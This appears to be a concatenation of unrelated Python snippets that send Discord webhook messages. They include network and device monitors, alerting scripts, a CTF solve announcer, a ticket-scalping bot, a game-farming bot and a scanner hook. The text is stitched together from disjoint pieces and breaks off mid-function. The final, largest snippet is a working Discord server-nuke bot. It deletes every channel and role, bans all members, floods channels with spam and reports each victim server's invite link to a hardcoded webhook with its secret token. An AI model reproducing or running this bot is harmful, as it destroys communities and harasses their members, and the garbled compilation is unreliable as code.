'uptime_less_than_12_hour', 'uptime_less_than_24_hour', 'uptime_greater_than_24_hour' ] json_report = {} for c in copy: json_report[c] = report[c] json_report['participants_online'] = len(report['participants_online']) json_report['participants_offline'] = len(report['participants_offline']) json_report['number_of_peer_percentiles'] = ' | '.join([ str(p) + '%: ' + str(v) for (p, v) in report['number_of_peer_percentiles'] ]) json_report['oldest_responses_report'] = str( (now - report['oldest_responses_report']) / 3600) + ' hours old' def format_responses_in_window(responding_in_window): responses_in_window = { k: len(v) for (k, v) in responding_in_window.items() } string = ' | '.join([ str(p) + ' hours: ' + str(v) for (p, v) in responses_in_window.items() ]) return string json_report[ 'unique_responding_peers_in_window'] = format_responses_in_window( report['responding_peers_by_window']) json_report[ 'unique_responding_ips_in_window'] = format_responses_in_window( report['responding_ips_by_window']) json_report[ 'unique_responding_discords_in_window'] = format_responses_in_window( report['responding_discords_by_window']) if json_report['has_forks']: json_report['has_forks'] = str(json_report['has_forks']) + ' :warning:' if json_report['block_fill_rate'] < .75 - .10: json_report['block_fill_rate'] = str( json_report['block_fill_rate']) + ' :warning:' formatted_report = json.dumps(json_report, indent=2) print(formatted_report) if discord_webhook_url is not None and len(discord_webhook_url) > 0: if len(formatted_report) > discord_char_limit - 5: formatted_report = formatted_report[:discord_char_limit - 5] + '...' webhook = DiscordWebhook(url=discord_webhook_url, content=formatted_report) with open("block_tree.gv.png", "rb") as f: webhook.add_file(file=f.read(), filename='block_tree.gv.png') webhook.add_file(file=str(report['participants_online']), filename='particpants_online.txt') webhook.add_file(file=str(report['participants_offline']), filename='participants_offline.txt') webhook.add_file(file=str(report['online_discord_counts']), filename='online_discord_counts.txt') peer_table_str = json.dumps(peer_table_dict, indent=2) webhook.add_file(file=peer_table_str, filename='peer_table.txt') response = webhook.execute()
def create_webhook(web_hook_url, device_origin, script_output): # decode returncode for information script_output = str(script_output).replace("b'", "").replace("\\n'", "") script_output_len = len(script_output) returncode = script_output[script_output_len - 3:script_output_len] # EXIT Code 100 = Reboot via adb # EXIT Code 200 = Reboot via HTML # EXIT Code 300 = Reboot via GPIO # EXIT Code 400 = Reboot via i2c # EXIT Code 500 = Reboot via cmd # EXIT Code +50 = force Option if returncode == '100': reboot_type = 'ADB' force_option = 'no' elif returncode == '200': reboot_type = 'HTML' force_option = 'no' elif returncode == '250': reboot_type = 'HTML' force_option = 'yes' elif returncode == '300': reboot_type = 'GPIO' force_option = 'no' elif returncode == '350': reboot_type = 'GPIO' force_option = 'yes' elif returncode == '400': reboot_type = 'I2C' force_option = 'no' elif returncode == '450': reboot_type = 'I2C' force_option = 'yes' elif returncode == '500': reboot_type = 'CMD' force_option = 'no' elif returncode == '550': reboot_type = 'CMD' force_option = 'yes' elif returncode == '600': reboot_type = 'PB' force_option = 'no' elif returncode == '650': reboot_type = 'PB' force_option = 'yes' # create embed object for webhook webhook = DiscordWebhook(url=web_hook_url) wh_dec = "Reboot for Device {} executed".format(device_origin) embed = DiscordEmbed(description=wh_dec, color=242424) embed.set_author(name='RebootMadDevice', url='https://github.com/GhostTalker', icon_url='https://avatars2.githubusercontent.com/u/49254289') embed.set_footer(text='') embed.set_timestamp() embed.add_embed_field(name='Device', value=device_origin) embed.add_embed_field(name='Reboot', value=reboot_type) embed.add_embed_field(name='Force', value=force_option) # add embed object to webhook webhook.add_embed(embed) webhook.execute()
def send_discord_message(message): from discord_webhook import DiscordWebhook webhook = DiscordWebhook(url="YOUR_WEBHOOK_URL_HERE", content=message) reponse = webhook.execute()
def send_alert(data): msg = data["msg"].encode("latin-1", "backslashreplace").decode("unicode_escape") if config.send_telegram_alerts: tg_bot = Bot(token=config.tg_token) try: tg_bot.sendMessage( data["telegram"], msg, parse_mode="MARKDOWN", ) except KeyError: tg_bot.sendMessage( config.channel, msg, parse_mode="MARKDOWN", ) except Exception as e: print("[X] Telegram Error:\n>", e) if config.send_discord_alerts: try: webhook = DiscordWebhook(url="https://discord.com/api/webhooks/" + data["discord"]) embed = DiscordEmbed(title=msg) webhook.add_embed(embed) webhook.execute() except KeyError: webhook = DiscordWebhook(url="https://discord.com/api/webhooks/" + config.discord_webhook) embed = DiscordEmbed(title=msg) webhook.add_embed(embed) webhook.execute() except Exception as e: print("[X] Discord Error:\n>", e) if config.send_slack_alerts: try: slack = Slack(url="https://hooks.slack.com/services/" + data["slack"]) slack.post(text=msg) except KeyError: slack = Slack(url="https://hooks.slack.com/services/" + config.slack_webhook) slack.post(text=msg) except Exception as e: print("[X] Slack Error:\n>", e) if config.send_twitter_alerts: tw_auth = tweepy.OAuthHandler(config.tw_ckey, config.tw_csecret) tw_auth.set_access_token(config.tw_atoken, config.tw_asecret) tw_api = tweepy.API(tw_auth) try: tw_api.update_status( status=msg.replace("*", "").replace("_", "").replace("`", "")) except Exception as e: print("[X] Twitter Error:\n>", e) if config.send_email_alerts: try: email_msg = MIMEText( msg.replace("*", "").replace("_", "").replace("`", "")) email_msg["Subject"] = config.email_subject email_msg["From"] = config.email_sender email_msg["To"] = config.email_sender context = ssl.create_default_context() with smtplib.SMTP_SSL(config.email_host, config.email_port, context=context) as server: server.login(config.email_user, config.email_password) server.sendmail(config.email_sender, config.email_receivers, email_msg.as_string()) server.quit() except Exception as e: print("[X] Email Error:\n>", e)
def wrapper(*args, **kwargs): result = f(*args, **kwargs) if not ctftime(): return result if isinstance(result, JSONMixin): data = result.json if isinstance( data, dict) and data.get("success") == True and isinstance( data.get("data"), dict) and data.get("data").get( "status") == "correct": if request.content_type != "application/json": request_data = request.form else: request_data = request.get_json() challenge_id = request_data.get("challenge_id") challenge = Challenges.query.filter_by( id=challenge_id).first_or_404() solvers = Solves.query.filter_by(challenge_id=challenge.id) if TEAMS_MODE: solvers = solvers.filter(Solves.team.has(hidden=False)) else: solvers = solvers.filter(Solves.user.has(hidden=False)) num_solves = solvers.count() limit = app.config["DISCORD_WEBHOOK_LIMIT"] if limit and num_solves > int(limit): return result user = get_current_user() difficulty = challenge.tags[0].value color = 0x0 img_url = '' if (difficulty == 'Easy'): color = 0x0EEC88 img_url = 'https://i.imgur.com/0dfOYmU.jpg' elif (difficulty == 'Medium'): color = 0xfb901e img_url = 'https://i.imgur.com/FFSgd5o.jpg' elif (difficulty == 'Hard'): color = 0xff2856 img_url = 'https://i.imgur.com/7rz0Xsh.jpg' elif (difficulty == 'Warmup'): color = 0x00fff9 img_url = 'https://i.imgur.com/UYvi3wU.jpg' elif (difficulty == 'Elite'): color = 0x641EBD img_url = 'https://i.imgur.com/9ile1tK.jpg' else: color = 0x00fff9 img_url = 'https://i.imgur.com/UYvi3wU.jpg' emoji = '' if num_solves == 1: emoji = '🥇' elif num_solves == 2: emoji = '🥈' elif num_solves == 3: emoji = '🥉' else: emoji = '🚩' webhook = DiscordWebhook( url=app.config['DISCORD_WEBHOOK_URL']) embed = None if num_solves == 1: embed = DiscordEmbed( title='First Blood!', description= f'```md\n🩸 First blood on the [ {difficulty} ]( {challenge.category.replace(" ", "_")} ) challenge <{challenge.name.replace(" ", "_")}> goes to < {user.name.replace(" ", "_")} >```', color=color) embed.set_image(url=img_url) else: embed = DiscordEmbed( title='Flag Captured!', description= f'```md\n{emoji} Flag captured from the [ {difficulty} ]( {challenge.category.replace(" ", "_")} ) challenge <{challenge.name.replace(" ", "_")}> by < {user.name.replace(" ", "_")} > -- ({num_solves} solves)```', color=color) embed.set_timestamp() webhook.add_embed(embed) webhook.execute() return result
def notify(): webhook = DiscordWebhook(url='', content='<@&777038627086794772> someone clicked') asz = webhook.execute()
def app(): #CONFIG config_path = (r"./config/main.json") with open(config_path) as data: config = json.load(data) CLIENT_ID = config["client_id"] webhook_url = config["webhook_url"] webhook_user = config["webhook_user"] version = config["version"] #CONFIG #CONFIG for MAIL config_path2 = (r"./config/mail.json") with open(config_path2) as data2: config2 = json.load(data2) guser = config2["guser"] gpass = config2["gpass"] tomail = config2["tomail"] subject = config2["subject"] content = config2["content"] #CONFIG for MAIL PATH = './img/proof.png' im = pyimgur.Imgur(CLIENT_ID) uploaded_image = im.upload_image( PATH, title="Uploaded with PyImgur for Mashov Bot") image_link = uploaded_image.link content = content + image_link try: #initializing the server connection yag = yagmail.SMTP(user=guser, password=gpass) #sending the email yag.send(to=tomail, subject=subject, contents=content) except: print("Error, email was not sent") webhook = DiscordWebhook(url=webhook_url, username=webhook_user) info_myclass = '?' info_myschool = '?' info_fullname = '?' embed = DiscordEmbed( description="ההצהרת קורונה היומית שלך נחתמה בהצלחה!", color='00ff00') embed.set_author( name="בוט משוב", url="https://github.com/lemun", icon_url= "https://web.mashov.info/students/images/logo_students.png", ) embed.set_footer(text="Running Version " + version) embed.set_timestamp() embed.add_embed_field(name="שם מלא: ", value=info_fullname, inline=True) embed.add_embed_field(name="כיתה: ", value=info_myclass, inline=True) embed.add_embed_field(name="בית ספר: ", value=info_myschool, inline=True) embed.add_embed_field(name="הוכחה:", value=image_link, inline=True) webhook.add_embed(embed) response = webhook.execute()
def here(): webhook = DiscordWebhook(url=WebHook, content="@here ⬆️") response = webhook.execute()
def atc(ticket_number): while True: data = { all_tickets[ticket_number]: quantity, 'submit_ticket_request': 'Get Tickets ››' } log('[TASK ' + str(x) + '] Attempting to add to cart ' + name_options[ticket_number]) f = requests.post(url, data=data) if f.status_code == 302 or 200: if 'https://tickets.ticketspace.co.nz/reservation' in f.url: log('[TASK ' + str(x) + '] Successfully reserved cart for {}: {}'.format( name_options[ticket_number], f.url)) try: #insert you own webhook where it says url = '' webhook = DiscordWebhook(url='') embed = DiscordEmbed( title='Reserved Cart - Ticketspace', color=3407684) embed.set_thumbnail(url=image) embed.add_embed_field(name='Event', value=title, inline=True) embed.add_embed_field(name='Venue', value=venue, inline=True) embed.add_embed_field( name='Tickets', value=name_options[ticket_number] + ' x ' + str(quantity), inline=False) embed.add_embed_field(name='Complete Checkout', value='[Click here!](' + f.url + ')', inline=True) try: time = (str(datetime.now())[10:19]) minute = int(time[4:6]) + 15 if minute > 60: hour = int(time[1:3]) + 1 else: hour = int(time[1:3]) expires = '{}:{}'.format(hour, minute) except: expires = 'N/A' embed.add_embed_field(name='Expires at', value=str(expires), inline=True) embed.set_footer(text='@FootlockerNZ') embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() log('[TASK ' + str(x) + '] Sent webhook for reservation ' + f.url) #,sys.exit() except Exception as e: log('[TASK ' + str(x) + '] Failed to send webhook') log('[TASK ' + str(x) + '] EXCEPTION OCCURED: ' + str(e)) else: log('[TASK ' + str(x) + '] Status Code in 302/200 but no redirect. Product is likely sold out. Attempting to reserve next option' ) ticket_number = ticket_number + 1 else: log('[TASK ' + str(x) + '] Failed to grab reservation redirect. Restarting [Status Code:{}]' .format(str(f.status_code)))
def firststart(self): if os.path.exists("runtime_values"): try: f = open('runtime_values', 'r') for i, line in enumerate(f): if i == 0: self.xpamount = int(line.strip()) elif i == 1: self.gamesplayed = int(line.strip()) elif i == 2: self.restarted = int(line.strip()) f.close() if os.path.exists("runtime_values"): os.remove("runtime_values") except Exception: pass foundval = False for proc in psutil.process_iter(): if proc.name() == "VALORANT-Win64-Shipping.exe": window = gw.getWindowsWithTitle('Valorant')[0] foundval = True if not foundval: self.startvalorant() if not window.isMaximized: window.maximize() self.firststart() response = requests.get( "https://api.github.com/repos/MrFums/Valbot/releases/latest") latest2 = response.json()["name"] latest = latest2.replace("Valbot v", "") latest = latest.replace(".", "") latest = int(latest) version = self.version.replace("Valbot v", "") version = version.replace(".", "") version = int(version) if version < latest: print(Style.RESET_ALL) print( Fore.RED, "[!] YOUR VERSION OF VALBOT (" + self.version.replace("Valbot v", "") + ") IS OUTDATED") print(Style.RESET_ALL) print( Fore.RED, "[!] PLEASE DOWNLOAD THE LATEST VERSION (" + latest2.replace("Valbot v", "") + ") FROM THE REPO") print(Style.RESET_ALL) if self.foundwebhook == True: try: webhook = DiscordWebhook(url=self.hookline, username="******") embed = DiscordEmbed( color=0xFF0000, title="Version Notification", description= "Your version of Valbot is outdated\nPlease download the newer version from the repo\nhttps://github.com/MrFums/Valbot" ) embed.set_author( name=self.version, url="https://github.com/MrFums/Valbot", icon_url= "https://raw.githubusercontent.com/MrFums/ValbotAssets/main/jett.png", ) embed.set_footer(text=self.version.replace("Valbot", "")) embed.set_timestamp() webhook.add_embed(embed) webhook.execute() except Exception: print(Fore.RED + " [!] TRIED TO SEND A WEBHOOK BUT IT IS NOT SETUP") time.sleep(5) else: print(Style.RESET_ALL) print( Fore.GREEN, "[√] RUNNING LATEST VERSION (" + self.version.replace("Valbot v", "") + ") OF VALBOT") print(Style.RESET_ALL) print(Style.RESET_ALL) print(Fore.RED, Style.BRIGHT + "[!] SCHEDULED TO RESTART EVERY 2 HOURS") for i in range(15, -1, -1): print(Fore.RED, Style.BRIGHT + "[!] BOT WILL BEGIN IN", i, "SECONDS ", end='\r') sleep(1) print(Style.RESET_ALL) if self.foundwebhook: try: webhook = DiscordWebhook(url=self.hookline, username="******") embed = DiscordEmbed( color=0xFFD700, title="Start Notification", description="Bot is starting in 15 seconds") embed.set_author( name=self.version, url="https://github.com/MrFums/Valbot", icon_url= "https://raw.githubusercontent.com/MrFums/ValbotAssets/main/jett.png", ) embed.set_footer(text=self.version.replace("Valbot", "")) embed.set_timestamp() webhook.add_embed(embed) webhook.execute() except Exception: print(Fore.RED + " [!] TRIED TO SEND A WEBHOOK BUT IT IS NOT SETUP") self.playbutton()
class DiscordLogger: """ Python message transporter for Discord """ COLORS = { "default": 2040357, "error": 14362664, "warn": 16497928, "info": 2196944, "verbose": 6559689, "debug": 2196944, "success": 2210373, } EMOJIS = { "default": ":loudspeaker:", "error": ":x:", "warn": ":warning:", "info": ":bell:", "verbose": ":mega:", "debug": ":microscope:", "success": ":rocket:", } def __init__(self, webhook_url, **kwargs): if webhook_url is None: raise ValueError("The field webhook_url cannot be:", webhook_url) self.webhook_url = str(webhook_url) self.application_name = kwargs.get("application_name", "Application") if self.application_name is not None: self.application_name = str(self.application_name) self.service_name = kwargs.get("service_name", "Status Bot") if self.service_name is not None: self.service_name = str(self.service_name) self.service_icon_url = kwargs.get("service_icon_url") if self.service_icon_url is not None: self.service_icon_url = str(self.service_icon_url) self.service_environment = kwargs.get("service_environment") if self.service_environment is not None: self.service_environment = str(self.service_environment) self.host_name = gethostname() if kwargs.get("display_hostname") is False: self.host_name = None self.default_level = kwargs.get("default_level") if self.default_level not in self.COLORS.keys(): self.default_level = "default" self.discord = DiscordWebhook(url=self.webhook_url, username=self.application_name) def __remove_embeds(self): existing_embeds = self.discord.get_embeds() for i in reversed(range(0, len(existing_embeds))): self.discord.remove_embed(i) def construct( self, title=None, description=None, level=None, error=None, metadata=None, ): self.__remove_embeds() _level = level if _level is None: _level = self.default_level if error is not None: _level = "error" _color = self.COLORS.get(_level) _title = "" if title is not None: _title = self.EMOJIS.get(_level) + " " + str(title) _description = "" if description is not None: _description = str(description) embed = DiscordEmbed(title=_title, description=_description, color=_color) embed.set_author(name=self.service_name, icon_url=self.service_icon_url) if metadata is not None: _metadata = dump(metadata, indent=4, default_flow_style=False, sort_keys=False) embed.add_embed_field(name="Metadata", value=Code(str(_metadata)), inline=False) if error is not None: embed.add_embed_field(name="Error", value=Code(str(error)), inline=False) if self.service_environment is not None: embed.add_embed_field(name="Environment", value=self.service_environment) if self.host_name is not None: embed.add_embed_field(name="Host", value=self.host_name) embed.set_timestamp() self.discord.add_embed(embed) def send(self): response = self.discord.execute() return response
def __get_download_list(html, tree, site_instance, item): download_list = [] try: if 'DOWNLOAD_REGEX' not in site_instance.info: return download_list #logger.debug(html) #tmp = html.find('a href="https://www.rgtorrent.me/bbs/download.php') #if tmp != -1: # logger.debug(html[tmp-300:tmp+300]) #logger.debug(site_instance.info['DOWNLOAD_REGEX']) tmp = re.compile(site_instance.info['DOWNLOAD_REGEX'], re.MULTILINE).finditer(html) for t in tmp: #logger.debug(t.group('url')) #logger.debug(t.group('filename')) if t.group('filename').strip() == '': continue entity = {} entity['link'] = py_urllib.unquote( t.group('url').strip()).strip() entity['link'] = unescape(entity['link']) logger.debug(entity['link']) entity['filename'] = py_urllib.unquote( t.group('filename').strip()) entity['filename'] = unescape(entity['filename']) if 'DOWNLOAD_URL_SUB' in site_instance.info: logger.debug(entity['link']) entity['link'] = re.sub( site_instance.info['DOWNLOAD_URL_SUB'][0], site_instance.info['DOWNLOAD_URL_SUB'][1].format( URL=site_instance.info['TORRENT_SITE_URL']), entity['link']).strip() if not entity['link'].startswith('http'): form = '%s%s' if entity['link'].startswith( '/') else '%s/%s' entity['link'] = form % ( site_instance.info['TORRENT_SITE_URL'], entity['link']) if 'FILENAME_SUB' in site_instance.info: entity['filename'] = re.sub( site_instance.info['FILENAME_SUB'][0], site_instance.info['FILENAME_SUB'][1], entity['filename']).strip() exist = False for tt in download_list: if tt['link'] == entity['link']: exist = True break if not exist: if app.config['config']['is_sjva_server'] and len( item['magnet']) > 0: # or True: try: ext = os.path.splitext( entity['filename'])[1].lower() #item['magnet'] if ext in ['.smi', '.srt', '.ass']: #if True: import io if 'USE_SELENIUM' in site_instance.info[ 'EXTRA']: from system import SystemLogicSelenium driver = SystemLogicSelenium.get_driver() driver.get(entity['link']) import time time.sleep(10) files = SystemLogicSelenium.get_downloaded_files( ) logger.debug(files) # 파일확인 filename_no_ext = os.path.splitext( entity['filename'].split('/')[-1]) file_index = 0 for idx, value in enumerate(files): if value.find( filename_no_ext[0]) != -1: file_index = idx break logger.debug('fileindex : %s', file_index) content = SystemLogicSelenium.get_file_content( files[file_index]) byteio = io.BytesIO() byteio.write(content) else: data = LogicFromSite.get_html( entity['link'], referer=item['url'], stream=True) byteio = io.BytesIO() for chunk in data.iter_content(1024): byteio.write(chunk) from discord_webhook import DiscordWebhook, DiscordEmbed webhook_url = app.config['config'][ 'rss_subtitle_webhook'] text = '%s\n<%s>' % (item['title'], item['url']) webhook = DiscordWebhook(url=webhook_url, content=text) webhook.add_file(file=byteio.getvalue(), filename=entity['filename']) response = webhook.execute() discord = response.json() logger.debug(discord) if 'attachments' in discord: entity['direct_url'] = discord[ 'attachments'][0]['url'] except Exception as e: logger.debug('Exception:%s', e) logger.debug(traceback.format_exc()) download_list.append(entity) return download_list except Exception as e: logger.debug('Exception:%s', e) logger.debug(traceback.format_exc()) return download_list
def submit_webhook(self, webhook, cfg, data={}): logger.info('Sending the webhook and writing to tmp file...') try: #obj = json.load(data) # load json data #obj = obj['ip', 'port', 'rule_sev', 'rule_details'] # choose only required paths to webhook #write file to OS f = open("/opt/nerve/tmp/myfile.txt", "w") #create file f.write(str(data)) # write to file f.close() #close #below block with code to execute binary hooker with cmd cat /opt/nerve/tmp/myfile.txt | tr ',' '\n' | tr '{' '\n' | grep -e "'ip':" -e "'rule_sev':" -e "'rule_details':" | awk 'NR%3{printf "%s ",$0;next;}1' | grep -vi "'rule_sev': 0" | grep -vi "'rule_sev': 1" | grep -vi "'rule_sev': 2" | tr -d "'" | tr -s " " | sed 's/rule_sev: //g' | sed 's/rule_details/details/g' stream = os.popen('bash /opt/nerve/tmp/hooker') getlines1 = stream.readlines()[0:20] output1 = "".join(getlines1) stream.close() stream = os.popen('bash /opt/nerve/tmp/hooker') getlines2 = stream.readlines()[21:41] output2 = "".join(getlines2) stream.close() stream = os.popen('bash /opt/nerve/tmp/hooker') getlines3 = stream.readlines()[42:62] output3 = "".join(getlines3) stream.close() stream = os.popen('bash /opt/nerve/tmp/hooker') getlines4 = stream.readlines()[63:84] output4 = "".join(getlines4) stream.close() stream = os.popen('bash /opt/nerve/tmp/hooker') getlines5 = stream.readlines()[85:105] output5 = "".join(getlines5) stream.close() #done #sample_string = json.dumps(data) #discord limit to put only 2000 symbols webhook2 = DiscordWebhook(url=webhook, content=output1[0:1998]) response = webhook2.execute() webhook2 = DiscordWebhook(url=webhook, content=output2[0:1998]) response = webhook2.execute() webhook2 = DiscordWebhook(url=webhook, content=output3[0:1998]) response = webhook2.execute() webhook2 = DiscordWebhook(url=webhook, content=output4[0:1998]) response = webhook2.execute() webhook2 = DiscordWebhook(url=webhook, content=output5[0:1998]) response = webhook2.execute() #this is an implementation of nuclei scanner for nerve. logger.info('Starting ipmaker with httprobe to define nuclei targets ~ 3 min...') process = subprocess.Popen("/opt/nerve/tmp/ipmaker") # бинарь 1 process.wait() logger.info('Starting nucleizer for nuclei scan ~ 20 min...') process2 = subprocess.Popen("/opt/nerve/tmp/nucleizer") # бинарь 2 process2.wait() logger.info('Report nuclei issues to discord...') reader = open("/opt/nerve/tmp/nuclei-output.txt", "r") #read file to submit in discord outnuclei1 = reader.readlines()[0:20] output1 = "".join(outnuclei1) reader.close() reader = open("/opt/nerve/tmp/nuclei-output.txt", "r") outnuclei2 = reader.readlines()[21:41] output2 = "".join(outnuclei2) reader.close() reader = open("/opt/nerve/tmp/nuclei-output.txt", "r") outnuclei3 = reader.readlines()[42:62] output3 = "".join(outnuclei3) reader.close() reader = open("/opt/nerve/tmp/nuclei-output.txt", "r") outnuclei4 = reader.readlines()[63:84] output4 = "".join(outnuclei4) reader.close() reader = open("/opt/nerve/tmp/nuclei-output.txt", "r") outnuclei5 = reader.readlines()[85:105] output5 = "".join(outnuclei5) reader.close() webhooknuclei = DiscordWebhook(url=webhook, content=output1[0:1998]) response = webhooknuclei.execute() webhooknuclei = DiscordWebhook(url=webhook, content=output2[0:1998]) response = webhooknuclei.execute() webhooknuclei = DiscordWebhook(url=webhook, content=output3[0:1998]) response = webhooknuclei.execute() webhooknuclei = DiscordWebhook(url=webhook, content=output4[0:1998]) response = webhooknuclei.execute() webhooknuclei = DiscordWebhook(url=webhook, content=output5[0:1998]) response = webhooknuclei.execute() logger.info('Sleeping 5 mins to avoid angry admins...') time.sleep(1800) #commit rows above to disable nuclei scanner return True # data = {'status':'done', 'vulnerabilities':data, 'scan_config':cfg} # requests.post(webhook, # json=data, # headers={'User-Agent':USER_AGENT, # 'Content-Type':'application/json'}, # verify=False) # return True except Exception as e: logger.error('Could not submit webhook: {}'.format(e)) return
async def on_message(self, message): global cdn #кулдаун c = 0 r = 0 m = 0 s = 0 white = open('whitelist.txt', 'r').read() black = open('blacklist.txt', 'r').read() vips = open('vip.txt', 'r').read() if message.content == '*помощь' and not message.author.bot: #помощь!!! await message.delete() cdn = 1 embed = discord.Embed(title=":grey_question: Помощь", description="", color=0x00cc00) embed.add_field(name='*атака', value='Автоматический краш сервера', inline=False) embed.add_field( name='*аудит', value= 'Засорить журнал аудита приглашениями и созданием/удалением каналов', inline=False) embed.add_field( name='*блок', value= 'Заблокировать текущий канал (запретить всем отправлять сообщения)', inline=False) embed.add_field( name='*блоквезде', value= 'Заблокировать все каналы (запретить всем отправлять сообщения)', inline=False) embed.add_field(name='*бс', value='Проверка сервера на наличие в белом списке', inline=False) embed.add_field(name='*всембан', value='Забанить всех участников', inline=False) embed.add_field(name='*всемкик', value='Кикнуть всех участников', inline=False) embed.add_field(name='*вип', value='Проверка VIP-статуса', inline=False) embed.add_field(name='*виппомощь', value='VIP-команды', inline=False) embed.add_field(name='*голос', value='Удалить только голосовые каналы', inline=False) embed.add_field(name='*канал-', value='Удалить текущий канал', inline=False) embed.add_field(name='*каналы-', value='Удалить все каналы', inline=False) embed.add_field(name='*каналы+', value='Бесконечное создание каналов', inline=False) embed.add_field(name='*категории', value='Удалить только категории', inline=False) embed.add_field(name='*лаги', value='Чудовищный спам, вызывает лаги', inline=False) embed.add_field(name='*лс', value='Рассылка всем участникам в ЛС', inline=False) embed.add_field(name='*очистить', value='Очистить чат', inline=False) embed.add_field(name='*переименовать', value='Перименовать сервер', inline=False) embed.add_field( name='*разблок', value= 'Разблокировать текущий канал (разрешить всем отправлять сообщения)', inline=False) embed.add_field( name='*разблоквезде', value= 'Разблокировать все каналы (разрешить всем отправлять сообщения)', inline=False) embed.add_field(name='*роли-', value='Удалить все роли', inline=False) embed.add_field(name='*роли+', value='Бесконечное создание ролей', inline=False) embed.add_field( name='*селфбан', value='Забанить себя (может быть, кому-то пригодится :moyai:)', inline=False) embed.add_field(name='*текст', value='Удалить только текстовые каналы', inline=False) embed.add_field(name='*флуд', value='Зафлудить все каналы', inline=False) embed.add_field(name='*чс', value='Проверка вас на наличие в чёрном списке', inline=False) await message.author.send(embed=embed) time.sleep(30) cdn = 0 if message.content == '*бс' and not message.author.bot: await message.delete() cdn = 1 if white.find(str(message.guild.id)) == -1: await message.author.send( ':x: Сервер не находится в белом списке.') else: await message.author.send( ':white_check_mark: Сервер находится в белом списке.') time.sleep(30) cdn = 0 if message.content == '*чс' and not message.author.bot: await message.delete() cdn = 1 if black.find(str(message.author.id)) == -1: await message.author.send( ':white_check_mark: Вас нет в чёрном списке.') else: await message.author.send(':x: Вы находитесь в чёрном списке.') time.sleep(30) cdn = 0 if message.content == '*вип' and not message.author.bot: await message.delete() cdn = 1 if vips.find(str(message.author.id)) == -1: await message.author.send(':x: У вас нет VIP-статуса.') else: await message.author.send( ':white_check_mark: У вас есть VIP-статус :crown:') time.sleep(30) cdn = 0 if message.content == '*виппомощь' and not message.author.bot: #помощь await message.delete() cdn = 1 embed = discord.Embed(title=":crown: VIP-команды", description="", color=0xff9900) embed.add_field(name='*випадминка', value='Дать @everyone админ-права', inline=False) embed.add_field(name='*випканалы+', value='Создать каналы со своим названием', inline=False) embed.add_field(name='*виплс', value='Отправка всем в ЛС своё сообщение', inline=False) embed.add_field(name='*випник', value='Изменить никнеймы участников на свои', inline=False) embed.add_field(name='*виповнеру', value='Отправка владельцу сервера своё сообщение', inline=False) embed.add_field(name='*виппереименовать', value='Переименовать сервер на своё сообщение', inline=False) embed.add_field(name='*випроли+', value='Создать роли со своим сообщением', inline=False) embed.add_field(name='*випфлуд', value='Флуд своим сообщением', inline=False) await message.author.send(embed=embed) time.sleep(30) cdn = 0 if message.author.id == 750245767142441000 or message.author.id == 351686223196192768: if message.content.startswith('*bl'): await message.delete() mc = message.content.replace('*bl', '') f = open('blacklist.txt', 'a') f.write(mc + '\n') await message.author.send(':white_check_mark:') f.close() if message.content.startswith('*wl'): await message.delete() mc = message.content.replace('*wl', '') f = open('whitelist.txt', 'a') f.write(mc + '\n') await message.author.send(':white_check_mark:') f.close() if message.content.startswith('*гивип'): await message.delete() mc = message.content.replace('*гивип', '') f = open('vip.txt', 'a') f.write(mc + '\n') await message.author.send(':white_check_mark:') f.close() if message.content.startswith('*delvip'): await message.delete() mc = message.content.replace('*delvip', '') with open('vip.txt', 'r+') as f: text = f.read() text = re.sub(str(mc), '', text) f.seek(0) f.write(text) f.truncate() await message.author.send(':white_check_mark:') if message.content.startswith('*delwl'): await message.delete() mc = message.content.replace('*delwl', '') with open('whitelist.txt', 'r+') as f: text = f.read() text = re.sub(str(mc), '', text) f.seek(0) f.write(text) f.truncate() await message.author.send(':white_check_mark:') if message.content.startswith('*delbl'): await message.delete() mc = message.content.replace('*delbl', '') with open('blacklist.txt', 'r+') as f: text = f.read() text = re.sub(str(mc), '', text) f.seek(0) f.write(text) f.truncate() await message.author.send(':white_check_mark:') if white.find(str(message.guild.id)) == -1 and black.find( str(message.author.id)) == -1: if message.content == '*атака' and not message.author.bot: #автоматический краш await message.delete() #удаление сообщения cdn = 1 #await client.get_channel(732820713584721923).send('**Участник под ником **' + message.author + ' **крашит сервер **' + message.guild.name + ' **с** ' + str(len(message.guild.members)) + ' **участниками. Не доверяйте админ-права незнакомцам, будьте бдительны!**') oi = await message.channel.create_invite(max_age=86400) webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/750921087763611910/mfJq59yPP42wX4R2NsaFHD2zxTPJX5Hjx6ipsrSXOmHin7Fm9xA0lxLkSJ1FsPE7aQ-O', content=':biohazard: **Участник под ником **' + str(message.author) + ' **крашит сервер **' + str(message.guild.name) + ' **с** ' + str(len(message.guild.members)) + ' **участниками. Не доверяйте админ-права незнакомцам, будьте бдительны! **' + str(oi)) if message.guild.name != 'Biohazard CRASH' and len( message.guild.members) > 5: response = webhook.execute() await message.guild.edit(name='Biohazard CRASH' ) #переименовывание сервера with open('chaos.jpeg', 'rb') as f: icon = f.read() await message.guild.edit(icon=icon) for i in message.guild.channels: await asyncio.sleep(0.1) try: await i.delete() #удаление всех каналов c = c + 1 except: pass await message.author.send( '**:wastebasket: Каналов удалено: **' + str(c)) for i in message.guild.roles: await asyncio.sleep(0.1) try: await i.delete() #удаление всех ролей r = r + 1 except: pass await message.author.send('**:wastebasket: Ролей удалено: **' + str(r)) for i in message.guild.members: await asyncio.sleep(0.1) try: if i != message.author: await i.ban() #бан всех участников m = m + 1 except: pass await message.author.send( '**:hammer: Участников забанено: **' + str(m)) await asyncio.sleep(0.1) try: while c < 500: c += 1 await message.guild.create_text_channel( 'crash-by-biohazard') #создание текстового канала #await y.send('@everyone Внимание, сервер крашится. С любовью, :biohazard: Biohazard :heart: Группа ВК бота: https://vk.com/biohazardbott') await message.guild.create_category( 'Crash by Biohazard') #создание категории await message.guild.create_voice_channel( name='Crash by Biohazard' ) #создание голосового канала await message.guild.create_role( name='Crash by Biohazard', colour=discord.Colour(0x00cc00)) #создание роли except: pass time.sleep(120) cdn = 0 if message.content == '*флуд' and not message.author.bot: #флуд spam = '@everyone Внимание, сервер крашится. С любовью, :biohazard: Biohazard :heart:\n Группа ВК бота: https://vk.com/biohazardbot\n Discord сервер бота: https://discord.gg/zYaqUkC' await message.delete() cdn = 1 while s <= 500: for channel in message.guild.text_channels: await channel.send(spam) s = s + 1 cdn = 0 if message.content == '*всембан' and not message.author.bot: #бан всех участников await message.delete() cdn = 1 for i in message.guild.members: await asyncio.sleep(0.1) try: if i != message.author: await i.ban() #бан m = m + 1 except: pass cdn = 0 await message.author.send( '**:hammer: Участников забанено: **' + str(m)) if message.content == '*всемкик' and not 